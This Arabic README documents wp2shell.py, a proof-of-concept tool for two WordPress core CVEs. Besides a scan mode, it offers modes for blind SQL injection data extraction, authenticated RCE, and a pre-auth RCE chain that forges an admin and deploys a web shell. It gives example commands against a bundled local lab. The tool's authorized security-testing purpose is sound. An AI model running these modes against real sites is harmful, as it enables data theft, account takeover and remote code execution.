
CVE-2026-63030، CVE-2026-60137، ماسح wp2shell
أداة كشف وتحقق من تعرّض نواة ووردبريس لـ wp2shell
(CVE-2026-63030 / CVE-2026-60137). يتم اختيار الوضع عبر إحدى العلامات، ويكون الهدف موضعيًا. يقوم --scan بأخذ بصمة إصدار النواة والتأكد من أن مسار REST /batch/v1 قابل للوصول دون إرسال حمولة استغلال؛ بينما تُعد أوضاع --check/--read/--shell/--rce/--root-prereq بمثابة إثبات مفهوم (PoC) للتحقق للاستخدام المخبري المصرح به.
wp2shell.py هو سكربت واحد يعتمد على المكتبة القياسية فقط — لا تبعيات خارجية. كل استدعاء يطبع شعار ZephrSec إلى stderr قبل تشغيله (ويبقى بعيدًا عن stdout، لذا لا يتأثر مخرَج JSON الخاص بـ --scan -j).
مطلوب علامة وضع واحدة بالضبط؛ والهدف موضعي (عنوان URL لكل وضع، أو قائمة مضيفين لـ --scan).
wp2shell.py (--scan | --check | --read | --shell | --rce | --root-prereq)
[targets ...] [-f FILE] [-j] [-t THREADS] [--prefix PREFIX]
[--delay DELAY] [--repeats REPEATS] [--preset PRESET] [--expr EXPR]
[--max-len MAX_LEN] [--user USER] [--password PASSWORD] [--cmd CMD]
[-i] [--no-cleanup] [-y] [--sleep SLEEP] [--rounds ROUNDS]
[--route {auto,rest-route,wp-json}] [--proxy PROXY] [--authorized]
[--timeout TIMEOUT]
| العلامة | ماذا تفعل |
|---|---|
--scan | فحص تعرّض غير مدمر: بصمة الإصدار + تأكيد أن مسار REST /batch/v1 قابل للوصول. لا يتم إرسال أي حمولة استغلال. |
--check | تأكيد حقن SQL أعمى قائم على الوقت عبر استكشاف تفاضلي غير ضار. |
--read | استخراج البيانات عبر حقن SQL الأعمى (إعداد مسبق أو تعبير SQL عددي خام). |
--shell | سلسلة تنفيذ أوامر عن بُعد (RCE) مصادق عليها باستخدام كلمة مرور مسؤول مكسورة/مستعادة. |
--rce | تنفيذ أوامر عن بُعد (RCE) قبل المصادقة بدون بيانات اعتماد: يزوّر مسؤولًا خاصًا به عبر حقن SQL، ثم ينشر قشرة ويب ذاتية التنظيف. |
--root-prereq | فحص مسبق غير ضار للانتقال إلى صلاحيات الجذر؛ يشغّل تشخيصات فقط، ولا ينفّذ أبدًا تصعيد صلاحيات محلي. |
| العلامة | ينطبق على | ماذا تفعل |
|---|---|---|
-f, --file | --scan | قراءة المضيفين من ملف (سطر لكل مضيف؛ يتم تخطي التعليقات #). |
-j, --json | --scan | إخراج النتائج بصيغة JSON على stdout. |
-t, --threads | --scan | التزامن في الفحص (الافتراضي 10). |
--prefix | --check/--read | بادئة جدول قاعدة البيانات (الافتراضي wp_). |
--delay | --check/--read | ثواني SLEEP المحقونة لأوراكل التوقيت (الافتراضي 0.15). |
--repeats | --check/--read | الوسيط عبر N من الاستكشافات لكل بت؛ ارفعه على الروابط المشوشة (الافتراضي 1). |
--preset | --read | هدف مدمج: version, database, db_user, users, siteurl (الافتراضي users). |
--expr | --read | تعبير SQL عددي خام لاستخراجه (يتجاوز --preset). |
--max-len | --read | الطول الأقصى للسلسلة المستخرجة (الافتراضي 128). |
--user | --shell/--root-prereq | اسم مستخدم المسؤول لتسجيل الدخول به (الافتراضي admin). |
--password | --shell/--root-prereq | كلمة مرور المسؤول كنص صريح (اكسر التجزئة من --read؛ مطلوبة لهذه الأوضاع). |
--cmd | --shell/--rce | الأمر المطلوب تنفيذه على الهدف (الافتراضي id). |
-i, --interactive | --shell/--rce | حلقة أوامر ويب تفاعلية بدلًا من أمر واحد. |
--no-cleanup | --shell/--rce | إبقاء الإضافة/قشرة الويب المنشورة في مكانها (للمختبر فقط). |
-y, --yes | --shell/--rce/--root-prereq | تخطي موجه التفويض التفاعلي (للأتمتة). |
--sleep | --rce | ثواني SLEEP المحقونة لكشف حقن SQL قبل المصادقة (الافتراضي 4). |
--rounds | --rce | الوسيط عبر N من الاستكشافات لكشف --rce (الافتراضي 3). |
--route | --rce | صيغة مسار الدُفعات: auto, rest-route, أو wp-json (الافتراضي auto). |
--proxy | --rce | توجيه الطلبات عبر وسيط HTTP، مثل Burp على http://127.0.0.1:8080. |
--authorized | --rce | تأكيد التفويض لهدف --rce غير loopback (مطلوب للمضيفين البعيدين). |
--timeout | الكل | مهلة الطلب الواحد بالثواني (الافتراضي 15). |
مقالة تحليلية معمقة: https://blog.zsec.uk/wp2shell-code-trace-deep-dive/
nuclei -t wp2shell-exposure.yaml -u https://target
مضيف واحد، أو مضيفون متعددون، أو ملف.
python3 wp2shell.py --scan https://target
python3 wp2shell.py --scan host1 host2 host3
python3 wp2shell.py --scan -f hosts.txt
الخيارات: -f/--file ملف المضيفين (سطر لكل مضيف)، -j/--json مخرَج JSON،
-t/--threads التزامن (الافتراضي 10).
ترسل أوضاع --check/--read/--shell/--rce/--root-prereq حمولات استغلال
حية. شغّلها فقط ضد المختبر المحلي المرفق، أو أنظمة أخرى تملكها ومصرح لك
باختبارها صراحةً. ينفّذ --shell و--rce تنفيذ أوامر عن بُعد وهما مخصصان
للمختبر/الأهداف المصرح بها؛ ويتطلب --rce على مضيف غير loopback استخدام
--authorized. يستخدم --root-prereq إضافة التشخيص نفسها المحمية برمز مميز
للتحقق من متطلبات الانتقال إلى الجذر، لكنه لا يشغّل تصعيد صلاحيات محلي.
يحتاج --shell إلى كلمة مرور مسؤول مستعادة/مكسورة. أما --rce فهو سلسلة
قبل المصادقة بدون بيانات اعتماد: يزوّر مسؤولًا خاصًا به عبر حقن SQL
(oEmbed → changeset → إعادة الدخول إلى parse_request)، ثم ينشر قشرة الويب —
بدون الحاجة إلى كلمة مرور.
تطلب --shell و--rce و--root-prereq تفويضًا تفاعليًا y/N قبل إرسال أي
حمولة لتنفيذ الأوامر (وتتوقف عند stdin غير تفاعلي/EOF). مرر -y/--yes لتخطي
الموجه للأتمتة ضد المختبر أو هدف مصرح به.
docker compose -f poc/lab/docker-compose.yml up -d
python3 wp2shell.py --check http://127.0.0.1:8080
python3 wp2shell.py --read http://127.0.0.1:8080 --expr @@version
python3 wp2shell.py --shell http://127.0.0.1:8080 --user admin --password 'Summer2026!' --cmd id
python3 wp2shell.py --shell http://127.0.0.1:8080 --user admin --password 'Summer2026!' -i
python3 wp2shell.py --rce http://127.0.0.1:8080 --cmd id
python3 wp2shell.py --rce http://127.0.0.1:8080 -i
python3 wp2shell.py --root-prereq http://127.0.0.1:8080 --user admin --password 'Summer2026!'
فروقات التصحيحات (patch diffs) المستخدمة كأساس لإثبات المفهوم محفوظة تحت
poc/diffs/، مع ملاحظات بحثية في poc/RESEARCH.md. يمكن إعادة بناء حقن SQL
بالكامل من إصلاح author__not_in. تعيد سلسلة --rce بدون بيانات اعتماد
(oEmbed → changeset → إعادة دخول → إنشاء مسؤول) إنتاج ثغرة RCE الافتراضية
القياسية ضد المختبر المرفق؛ أما --shell فهو المسار البديل عبر بيانات اعتماد
مسؤول مستعادة/مكسورة لرفع إضافة مصادق عليها وتنفيذ الأوامر.